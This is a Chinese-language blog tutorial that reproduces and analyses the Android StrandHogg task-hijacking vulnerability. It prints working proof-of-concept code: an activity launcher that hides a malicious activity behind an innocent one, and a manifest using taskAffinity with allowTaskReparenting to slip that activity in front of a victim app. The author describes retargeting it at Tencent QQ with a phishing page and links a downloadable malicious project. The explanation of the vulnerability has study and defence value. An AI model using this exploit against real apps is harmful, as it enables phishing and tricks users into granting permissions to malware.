【Android編程實戰】StrandHogg漏洞復現及原理分析_Android系統上的維京海盜

0x00 StrandHogg漏洞詳情

StrandHogg漏洞 CVE編號:暫無

[漏洞危害] 近日,Android平台上發現了一個高危漏洞 該漏洞允許攻擊者冒充任意合法應用,誘導受害者授予惡意應用許可權 或者進行惡意釣魚攻擊 由於該漏洞允許惡意軟體劫持合法應用的活動,並將自身惡意活動插入在合法活動之前 使得用戶並沒有意識到自己已經遭到攻擊

[漏洞影響Android版本] 至2020年1月26日,經過測試,該漏洞影響Android全版本,包括目前最新的Android10

[漏洞利用條件] 幾乎無條件即可利用此漏洞,即使在無Root機型上利用此漏洞也輕而易舉 目前已發現36個應用惡意利用該漏洞進行攻擊

0x01 漏洞復現

接下來我將新建一個完全合法的項目和一個攻擊此合法App的惡意項目 並且讓惡意軟體劫持合法App,使惡意活動插入到合法活動之前,實現攻擊目的

編譯一個合法空項目並安裝在手機上 項目命名為BeAttacked 包名:com.victim.app 其UI只有一個TextView控制項,並且顯示Hello World這段字元 該空項目假設為攻擊者欲攻擊的合法App

接下來新建一個利用此漏洞的惡意軟體項目,命名為Attack 布局程式碼 activity_main.xml

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"      xmlns:app="http://schemas.android.com/apk/res-auto"      xmlns:tools="http://schemas.android.com/tools"      android:layout_width="match_parent"      android:layout_height="match_parent"      tools:context=".MainActivity">        <TextView          android:layout_width="wrap_content"          android:layout_height="wrap_content"          android:text="Innocent"/>    </LinearLayout>

如上述布局程式碼所示,該布局將只顯示Innocent這段字元 新建一個布局,並且假設這個新建的布局為惡意活動顯示的布局 attack.xml

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"      xmlns:app="http://schemas.android.com/apk/res-auto"      xmlns:tools="http://schemas.android.com/tools"      android:layout_width="match_parent"      android:layout_height="match_parent"      tools:context=".MainActivity">        <TextView          android:layout_width="wrap_content"          android:layout_height="wrap_content"          android:text="Attack Success!"/>    </LinearLayout>

同理,該布局將只顯示 Attack Success! 這段字元

接下來新建Innocent類和Attack類,兩個類分別顯示activity_main和attack這兩個布局 我們假設Attack這個類為惡意活動,我不想讓用戶在啟動惡意軟體時看到惡意活動而懷疑軟體的真實意圖 我想讓用戶在啟動軟體時只看到無害的活動,從而隱藏軟體的真實意圖,那麼要如何實現呢 我可以預先啟動Attack類,緊接著啟動Innocent類,這樣用戶在頁面上只能看見最頂層的Innocent類,而不是惡意活動

MainActivity類

public class MainActivity extends AppCompatActivity {        @Override      protected void onCreate(Bundle savedInstanceState) {          super.onCreate(savedInstanceState);          //setContentView(R.layout.activity_main);          Intent innocent,attack;          attack=new Intent(this,Attack.class);          attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//將attack活動放置在一個新task中          attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消過度動畫,增加惡意軟體迷惑性          innocent=new Intent(this,Innocent.class);          innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);          startActivities(new Intent[]{attack,innocent});//先後啟動attack活動與innocent活動          finish();      }  }

接下來分析程式碼 我讓程式創建了成員變數分別為innocent,attack的兩個Intent對象 attack和innocent都帶上了FLAG_ACTIVITY_NEW_TASK這個Flag 帶上該Flag的Intent創建的活動都會在各自的任務棧中,互不影響

其中attack還帶有FLAG_ACTIVITY_NO_ANIMATION這個flag 帶有該Flag的Intent創建的活動將不顯示過度動畫

接著我調用了startActivities方法先後啟動attack和innocent這兩個活動 注意,Innocent這個活動在Attack啟動之後才被啟動,在活動先後順序上,Innocent在最頂層 所以用戶最終看到的活動只有Innocent這個無害活動 而Attack啟動時取消了過度動畫,除了個別機型會有稍微閃動外,在啟動時無明顯變化,從而增加了惡意軟體迷惑性

程式碼已經編寫完畢,還有一個問題,攻擊者要怎麼利用漏洞使得惡意活動插入在合法活動之前呢?

AndroidManifest.xml中編輯程式碼

<activity android:name=".MainActivity">              <intent-filter>                  <action android:name="android.intent.action.MAIN" />                  <category android:name="android.intent.category.LAUNCHER" />              </intent-filter>          </activity>          <activity android:name=".Innocent"/>          <activity android:name=".Attack"              android:taskAffinity="com.victim.app"              android:allowTaskReparenting="true" />              <!--              其中欲插入到合法活動前的惡意活動的taskAffinity屬性就是欲攻擊應用的包名              allowTaskReparenting屬性為true              -->

程式碼中,惡意活動的taskAffinity屬性就是欲攻擊應用的包名 allowTaskReparenting屬性為true,這兩個屬性設置完成後就能使得惡意活動插入到合法活動前了, 為什麼這麼設置?這就涉及到任務相似性和是否允許活動轉移的問題了,這個後面講,先復現漏洞

編譯惡意軟體,先打開惡意軟體,使得惡意活動在後台就緒,接著再打開欲攻擊的合法app 可以發現合法活動已經被惡意活動替代了! 接下來看復現漏洞的GIF圖

漏洞成功復現!

0x02 漏洞原理分析

此漏洞利用涉及到任務棧問題,稍微複雜,所以我畫了一張圖來闡述為什麼惡意活動可以插入到合法活動前 在分析之前請先讀圖,幫助理解

讀完圖首先就是要理解allowTaskReparenting這個屬性的作用是什麼 官方文檔如下:https://developer.android.com/guide/topics/manifest/activity-element.html#reparent

官方文檔的解釋:當下一次將啟動 Activity 的任務轉至前台時,Activity 是否能從該任務轉移至與其有相似性的任務 —「true」表示可以轉移,「false」表示仍須留在啟動它的任務處。(其中的相似性後面再講,暫且理解成同一個任務棧)

我對官方文檔的理解: 假設存在一個任務棧,將此任務棧命名為Task_1 Task_1中存放著兩個Activity,分別是Activity_1和Activity_2,並且這個任務棧中的兩個活動均在後台運行,用戶不可見 假設Activity_1的allowTaskReparenting屬性為true Activity_2的allowTaskReparenting屬性為默認值false 當用戶 啟動Activity_2時,任務棧Task_1也就隨著Activity_2到達前台 但Activity_1的allowTaskReparenting屬性為true,根據官方文檔的解釋,該活動能從後台轉移至與其有相似性的任務,也就是同樣轉移至Task_1, 而此時Task_1已經在前台了,相當於Activity_1在Activity_2啟動之後也啟動了,從而到達了最頂層,而用戶最終看到的活動也就是Activity_1了

理解完allowTaskReparenting屬性之後.就要解釋taskAffinity屬性了 taskAffinity直接翻譯過來就是任務相關性, 官方文檔對該屬性的解釋為: 從概念上講,具有同一相似性的 Activity 歸屬同一任務(從用戶的角度來看,則是歸屬同一「應用」)。任務的相似性由其根 Activity 的相似性確定。 而確定應用相似性的屬性就是taskAffinity 首先要知道,若應用沒有特別定義taskAffinity的內容的話 則該應用中每個活動的taskAffinity屬性的默認內容就是應用包名,所以在沒有特別定義taskAffinity的應用中,每個活動均在同一個任務棧中

重新查看惡意活動的清單文件程式碼

<activity android:name=".Attack"              android:taskAffinity="com.victim.app"              android:allowTaskReparenting="true" />

而要實現將惡意活動插入到合法活動之前,首先就需要惡意活動在合法活動的任務棧中 需要注意的是任務棧可以放置使用相同的taskAffinity的Activity,即使是跨程式也可以共享同一個任務棧 這就可以解釋為什麼需要惡意活動的taskAffinity屬性為欲攻擊應用的包名,這樣就能讓惡意活動與合法活動存在於同一任務棧中了 接著使惡意活動的allowTaskReparenting屬性為true,這樣就能在合法應用中的活動轉至前台時,使得惡意活動同樣轉至前台 至此,整個攻擊流程結束

0x03 漏洞利用及其危害

在0x01中,我已經完成了漏洞復現 為了展現出該漏洞的具體危害,我對復現過程中的Attack類及其布局進行了修改 將Attack類的taskAffinity屬性改為騰訊QQ的包名,編譯並安裝

可以看到我將惡意活動的布局修改為釣魚頁面,真正展現出這個漏洞的危害性 攻擊者不僅可以利用該漏洞精心設計一個頁面來進行釣魚攻擊,也可以利用該漏洞誘導用戶授予惡意軟體相應許可權進行惡意攻擊

最後放出我修改過的惡意軟體項目:StrandHogg.zip[1] 提取碼: hci6

References

[1] StrandHogg.zip: https://pan.baidu.com/s/1rhiyiWxmVQeOSvEl06fBiQ